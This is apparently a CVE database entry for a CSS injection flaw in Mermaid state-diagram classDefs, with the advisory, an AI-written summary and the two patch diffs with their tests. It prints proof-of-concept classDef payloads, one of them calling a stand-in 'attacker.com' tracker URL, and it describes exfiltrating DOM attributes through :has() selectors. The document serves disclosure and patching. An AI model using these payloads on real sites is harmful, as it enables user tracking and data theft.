Mermaid: Improper sanitization of `classDefs` in diagrams leads to CSS injection
Description
Details
The state diagram and any other diagram type that routes user-controlled style strings through createCssStyles parser for Mermaid v11.14.0 and earlier captures classDef values with an unrestricted regex:
// packages/mermaid/src/diagrams/state/parser/stateDiagram.jison:83
<CLASSDEFID>[^\n]* { this.popState(); return 'CLASSDEF_STYLEOPTS' }
The value passes unsanitized through addStyleClass() -> createCssStyles() -> style.innerHTML (mermaidAPI.ts:418). A } in the value closes the generated CSS selector, and everything after becomes a new CSS rule on the page.
PoC
stateDiagram-v2
classDef x }*{ background-image: url("http://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif")}
Live demo: <https://mermaid.live/edit#pako:eNpFjzFvgzAQhf-KdVNbEcBgMHhtlkqtOnSJKi8ONsYKBmRMlRTx3-skanvTfbp7996t0IxSAYPZC6_2Rmgn7O4rQ00v5nmvWnRG29OKjqI5aTcug9wZK7RiaHH9A4fO-4kliVXSiFibqbvEzWjvnHxo_fI6vR3e6cGXyX2qTcvhcYMItDMSmHeLisAqZ8UVYeUDQhx8p6ziwEIrhTtx4MNVM4nhcxztrywE0h2wVvRzoGWS_z_8rahBKvcckntgmN5OAFvhDIzUNCZZQXCR5nVaZkUEF2BVFpOcEkoxxhUuyRbB980yjStapKHqoKFlhvPtB7BFZEU>
Patches
This has been patched in:
- v11.15.0 (see e9b0f34d8d82a6260077764ee45e1d7d90957a0f)
- v10.9.6 (see 8fead23c59166b7bab6a39eac81acebee2859102)
Workarounds
Setting `"securityLevel": "sandbox"` will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.
Impact
Enables page defacement, user tracking via url() callbacks, and DOM attribute exfiltration via CSS :has() selectors.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Mermaid v11.14.0 and earlier allows CSS injection via unsanitized classDef values in state diagrams, enabling page defacement and data exfiltration.
Root
Cause
The vulnerability stems from an overly permissive regex in the state diagram parser (stateDiagram.jison:83) that captures classDef values without sanitization [3]. The captured value is passed through addStyleClass() and createCssStyles() to style.innerHTML (mermaidAPI.ts:418), allowing an attacker to inject arbitrary CSS by closing the generated CSS selector with a } and appending malicious rules [3]. This affects Mermaid versions up to and including v11.14.0.
Exploitation
An attacker can exploit this by crafting a diagram definition containing a classDef with a payload such as }*{ background-image: url("http://attacker.com/tracker")}. When the diagram is rendered (e.g., via the Mermaid Live Editor or embedded in a web page), the injected CSS executes in the context of the host page [3]. No authentication is required if the attacker can supply the diagram input. The securityLevel configuration option, when set to "sandbox", renders diagrams in a sandboxed <iframe> and prevents this attack [1].
Impact
Successful exploitation enables page defacement, user tracking via url() callbacks that exfiltrate data to attacker-controlled servers, and DOM attribute exfiltration using CSS :has() selectors [3]. This can lead to information disclosure and compromise of user privacy.
Mitigation
The issue has been patched in Mermaid v11.15.0 and v10.9.6 [4]. Users unable to upgrade should set securityLevel to "sandbox" in their Mermaid configuration as a workaround [1].
AI Insight generated on May 18, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
mermaidnpm | >= 11.0.0-alpha.1, < 11.15.0 | 11.15.0 |
mermaidnpm | < 10.9.6 | 10.9.6 |
Affected products
2<= 10.9.5+ 1 more
- (no CPE)range: <= 10.9.5
- (no CPE)range: <=11.14.0
Patches
28fead23c5916fix: prevent unbalanced CSS styles in classDefs
7 files changed · +109 −13
cypress/integration/other/ghsa.spec.js+11 −0 modified@@ -20,4 +20,15 @@ describe('CSS injections', () => { flowchart: { htmlLabels: true }, }); }); + it('should sanitize CSS in class definitions', () => { + urlSnapshotTest('http://localhost:9000/css-injection.html', { + logLevel: 1, + flowchart: { htmlLabels: false }, + }); + cy.get('.otp-3').should( + 'not.have.css', + 'background-image', + 'url("https://example.test/3.png")' + ); + }); });
cypress/platform/css-injection.html+61 −0 added@@ -0,0 +1,61 @@ +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8" /> + <title>Mermaid Quick Test Page</title> + + <style> + .otp { + width: 30px; + height: 30px; + position: relative; + } + .otp-1:before { + content: '1'; + } + .otp-2:before { + content: '2'; + } + .otp-3:before { + content: '3'; + } + .otp-4:before { + content: '4'; + } + </style> + </head> + + <body> + <section> + <h2>Test CSS Injection</h2> + + <h3>Here is some secret info:</h3> + + <p>Your OTP is:</p> + + <!-- Contrived example, but could be used on some sites --> + <div style="flex-direction: row; display: flex"> + <div class="otp otp-3"></div> + <div class="otp otp-2"></div> + <div class="otp otp-4"></div> + </div> + + <p>If the above numbers are red, then we have a working CSS injection.</p> + </section> + + <pre class="mermaid"> + stateDiagram-v2 + classDef x }}body{.otp{border: 1px solid red}.otp{color: red}.otp-1{ background-image: url("https://example.test/1.png")}.otp-2{ background-image: url("https://example.test/2.png")}.otp-3{ background-image: url("https://example.test/3.png")}.otp-4{ background-image: url("https://example.test/4.png")}.otp-5{ background-image: url("https://example.test/5.png")}} + [*] --> A + </pre> + + <script type="module"> + import mermaid from './mermaid.esm.mjs'; + mermaid.initialize({ startOnLoad: false, logLevel: 0 }); + await mermaid.run(); + if (window.Cypress) { + window.rendered = true; + } + </script> + </body> +</html>
docs/config/setup/interfaces/mermaidAPI.ParseOptions.md+1 −1 modified@@ -16,4 +16,4 @@ #### Defined in -[mermaidAPI.ts:60](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L60) +[mermaidAPI.ts:61](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L61)
docs/config/setup/interfaces/mermaidAPI.RenderResult.md+2 −2 modified@@ -39,7 +39,7 @@ bindFunctions?.(div); // To call bindFunctions only if it's present. #### Defined in -[mermaidAPI.ts:80](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L80) +[mermaidAPI.ts:81](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L81) --- @@ -51,4 +51,4 @@ The svg code for the rendered graph. #### Defined in -[mermaidAPI.ts:70](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L70) +[mermaidAPI.ts:71](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L71)
docs/config/setup/modules/mermaidAPI.md+9 −9 modified@@ -25,7 +25,7 @@ Renames and re-exports [mermaidAPI](mermaidAPI.md#mermaidapi) #### Defined in -[mermaidAPI.ts:64](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L64) +[mermaidAPI.ts:65](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L65) ## Variables @@ -96,7 +96,7 @@ mermaid.initialize(config); #### Defined in -[mermaidAPI.ts:608](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L608) +[mermaidAPI.ts:610](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L610) ## Functions @@ -127,7 +127,7 @@ Return the last node appended #### Defined in -[mermaidAPI.ts:263](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L263) +[mermaidAPI.ts:265](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L265) --- @@ -153,7 +153,7 @@ the cleaned up svgCode #### Defined in -[mermaidAPI.ts:209](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L209) +[mermaidAPI.ts:211](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L211) --- @@ -178,7 +178,7 @@ the string with all the user styles #### Defined in -[mermaidAPI.ts:139](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L139) +[mermaidAPI.ts:141](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L141) --- @@ -201,7 +201,7 @@ the string with all the user styles #### Defined in -[mermaidAPI.ts:186](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L186) +[mermaidAPI.ts:188](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L188) --- @@ -228,7 +228,7 @@ with an enclosing block that has each of the cssClasses followed by !important; #### Defined in -[mermaidAPI.ts:124](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L124) +[mermaidAPI.ts:125](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L125) --- @@ -254,7 +254,7 @@ Put the svgCode into an iFrame. Return the iFrame code #### Defined in -[mermaidAPI.ts:240](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L240) +[mermaidAPI.ts:242](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L242) --- @@ -279,4 +279,4 @@ Remove any existing elements from the given document #### Defined in -[mermaidAPI.ts:313](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L313) +[mermaidAPI.ts:315](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L315)
packages/mermaid/src/mermaidAPI.spec.ts+22 −0 modified@@ -467,6 +467,28 @@ describe('mermaidAPI', () => { expect(serialize).toHaveBeenCalled(); expect(result).toEqual('someId .edge-pattern-dashed{stroke-dasharray:3;}'); }); + + it('should sanitize CSS to avoid unbalanced braces', () => { + const result = createUserStyles( + mockConfig, + 'someDiagram', + Object.fromEntries( + Object.entries({ + classDef1: { + styles: ['}*{ background-image: url("https://example.test")}'], + textStyles: [], + }, + classDef2: { + styles: ['color: purple;'], + }, + }).map(([id, value]) => [id, { ...value, id }]) + ), + 'someId' + ); + expect(result).toEqual( + 'someId .edge-pattern-dashed{stroke-dasharray:3;}someId .classDef2>*{color:purple;}someId .classDef2 span{color:purple;}' + ); + }); }); describe('removeExistingElements', () => {
packages/mermaid/src/mermaidAPI.ts+3 −1 modified@@ -31,6 +31,7 @@ import { setA11yDiagramInfo, addSVGa11yTitleDescription } from './accessibility. import type { DiagramMetadata, DiagramStyleClassDef } from './diagram-api/types.js'; import { preprocessDiagram } from './preprocess.js'; import { decodeEntities } from './utils.js'; +import { sanitizeCss } from './utils/sanitizeDirective.js'; const MAX_TEXTLENGTH = 50_000; const MAX_TEXTLENGTH_EXCEEDED_MSG = @@ -126,7 +127,8 @@ export const cssImportantStyles = ( element: string, cssClasses: string[] = [] ): string => { - return `\n.${cssClass} ${element} { ${cssClasses.join(' !important; ')} !important; }`; + const declarationBlock = sanitizeCss(`{ ${cssClasses.join(' !important; ')} !important; }`); + return `\n.${cssClass} ${element} ${declarationBlock}`; }; /**
e9b0f34d8d82fix: prevent unbalanced CSS styles in classDefs
5 files changed · +102 −1
.changeset/brave-rooms-rest.md+5 −0 added@@ -0,0 +1,5 @@ +--- +'mermaid': patch +--- + +fix: prevent unbalanced CSS styles in classDefs
cypress/integration/other/ghsa.spec.js+11 −0 modified@@ -20,4 +20,15 @@ describe('CSS injections', () => { flowchart: { htmlLabels: true }, }); }); + it('should sanitize CSS in class definitions', () => { + urlSnapshotTest('/css-injection.html', { + logLevel: 1, + flowchart: { htmlLabels: false }, + }); + cy.get('.otp-3').should( + 'not.have.css', + 'background-image', + 'url("https://example.test/3.png")' + ); + }); });
cypress/platform/css-injection.html+61 −0 added@@ -0,0 +1,61 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8" /> + <title>Mermaid Quick Test Page</title> + + <style> + .otp { + width: 30px; + height: 30px; + position: relative; + } + .otp-1:before { + content: '1'; + } + .otp-2:before { + content: '2'; + } + .otp-3:before { + content: '3'; + } + .otp-4:before { + content: '4'; + } + </style> + </head> + + <body> + <section> + <h2>Test CSS Injection</h2> + + <h3>Here is some secret info:</h3> + + <p>Your OTP is:</p> + + <!-- Contrived example, but could be used on some sites --> + <div style="flex-direction: row; display: flex"> + <div class="otp otp-3"></div> + <div class="otp otp-2"></div> + <div class="otp otp-4"></div> + </div> + + <p>If the above numbers are red, then we have a working CSS injection.</p> + </section> + + <pre class="mermaid"> + stateDiagram-v2 + classDef x }}body{.otp{border: 1px solid red}.otp{color: red}.otp-1{ background-image: url("https://example.test/1.png")}.otp-2{ background-image: url("https://example.test/2.png")}.otp-3{ background-image: url("https://example.test/3.png")}.otp-4{ background-image: url("https://example.test/4.png")}.otp-5{ background-image: url("https://example.test/5.png")}} + [*] --> A + </pre> + + <script type="module"> + import mermaid from './mermaid.esm.mjs'; + mermaid.initialize({ startOnLoad: false, logLevel: 0 }); + await mermaid.run(); + if (window.Cypress) { + window.rendered = true; + } + </script> + </body> +</html>
packages/mermaid/src/mermaidAPI.spec.ts+22 −0 modified@@ -427,6 +427,28 @@ describe('mermaidAPI', () => { expect(serialize).toHaveBeenCalled(); expect(result).toEqual('someId .edge-pattern-dashed{stroke-dasharray:3;}'); }); + + it('should sanitize CSS to avoid unbalanced braces', () => { + const result = createUserStyles( + mockConfig, + 'someDiagram', + new Map( + Object.entries({ + classDef1: { + styles: ['}*{ background-image: url("https://example.test")}'], + textStyles: [], + }, + classDef2: { + styles: ['color: purple;'], + }, + }).map(([id, value]) => [id, { ...value, id }]) + ), + 'someId' + ); + expect(result).toEqual( + 'someId .edge-pattern-dashed{stroke-dasharray:3;}someId .classDef2>*{color:purple;}someId .classDef2 span{color:purple;}' + ); + }); }); describe('removeExistingElements', () => {
packages/mermaid/src/mermaidAPI.ts+3 −1 modified@@ -25,6 +25,7 @@ import theme from './themes/index.js'; import type { D3Element, ParseOptions, ParseResult, RenderResult } from './types.js'; import { decodeEntities } from './utils.js'; import { toBase64 } from './utils/base64.js'; +import { sanitizeCss } from './utils/sanitizeDirective.js'; const MAX_TEXTLENGTH = 50_000; const MAX_TEXTLENGTH_EXCEEDED_MSG = @@ -96,7 +97,8 @@ export const cssImportantStyles = ( element: string, cssClasses: string[] = [] ): string => { - return `\n.${cssClass} ${element} { ${cssClasses.join(' !important; ')} !important; }`; + const declarationBlock = sanitizeCss(`{ ${cssClasses.join(' !important; ')} !important; }`); + return `\n.${cssClass} ${element} ${declarationBlock}`; }; /**
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
7- github.com/advisories/GHSA-xcj9-5m2h-648rghsaADVISORY
- github.com/mermaid-js/mermaid/commit/8fead23c59166b7bab6a39eac81acebee2859102ghsaWEB
- github.com/mermaid-js/mermaid/commit/e9b0f34d8d82a6260077764ee45e1d7d90957a0fghsaWEB
- github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0ghsaWEB
- github.com/mermaid-js/mermaid/releases/tag/v10.9.6ghsaWEB
- github.com/mermaid-js/mermaid/security/advisories/GHSA-xcj9-5m2h-648rghsaWEB
- mermaid.js.org/config/schema-docs/config.htmlghsaWEB
News mentions
0No linked articles in our index yet.